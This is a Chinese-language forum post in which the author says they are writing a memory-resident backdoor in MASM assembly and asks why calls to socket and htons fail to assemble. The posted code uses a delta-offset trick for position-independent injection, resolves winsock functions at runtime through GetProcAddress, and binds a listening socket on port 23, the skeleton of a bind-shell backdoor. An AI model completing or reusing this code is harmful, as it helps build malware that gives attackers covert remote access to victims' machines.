最近再写一个内存型的后门,不过出现如下错误:
Code.asm(144) : error A2006: undefined symbol : _socket
_invoke(8): Macro Called From
Code.asm(144): Include File
Code.asm(150) : error A2006: undefined symbol : _htons
_invoke(8): Macro Called From
Code.asm(150): Include File
其中一段报错的代码:
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
invoke [ebx+_WSAStartup],0101h,offset @wsaData
_invoke [ebx+_socket],PF_INET,SOCK_STREAM,0
mov s1,eax
mov ax,AF_INET
mov @sin1.sin_family,ax
xor eax,eax
mov @sin1.sin_addr,eax
_invoke [ebx+_htons],23
mov @sin1.sin_port,ax
_invoke [ebx+_bind],s1,offset @sin1,SIZEOF sockaddr_in
cmp eax,SOCKET_ERROR
jne @F
_invoke [ebx+_WSACleanup]
xor eax,eax
ret
@@:
_invoke [ebx+_listen],s1,1 ;开始监听
错在_invoke [ebx+_WSAStartup],0101h,offset @wsaData
_invoke [ebx+_socket],PF_INET,SOCK_STREAM,0
反正就是调用网络函数的时候就错了...
这个是不是因为无法找到wsock32.dll导致的?但是我已经写了如下代码:
lea eax,[ebx + offset _szDllWsock32]
_invoke [ebx + _lpGetModuleHandle],eax
mov @hModule,eax
lea esi,[ebx + offset _szWSAStartup]
lea edi,[ebx + offset _lpWSAStartup]
.while TRUE
_invoke [ebx + _lpGetProcAddress],@hModule,esi
mov [edi],eax
add edi,4
@@:
lodsb
or al,al
jnz @B
.break .if ! byte ptr [esi+1]
.endw
按照道理应该米问题的,不过还是出了问题
[课程]Android-CTF解题方法汇总!